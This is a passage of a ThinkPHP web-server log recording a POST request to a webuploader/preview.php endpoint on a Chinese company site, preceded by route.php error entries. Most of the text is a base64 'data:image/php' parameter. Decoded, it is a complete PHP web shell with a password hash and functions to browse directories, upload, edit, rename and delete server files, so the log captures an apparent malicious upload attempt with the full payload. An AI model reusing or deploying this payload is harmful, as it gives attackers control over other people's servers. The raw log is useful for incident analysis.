Qtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:01+08:00 ] 116.213.36.234 POST www.51tianwei.com/manage/lib/webuploader/preview.php [运行时间:0.002625s] [吞吐率:380.95req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'preview.php', ) [ info ] [ 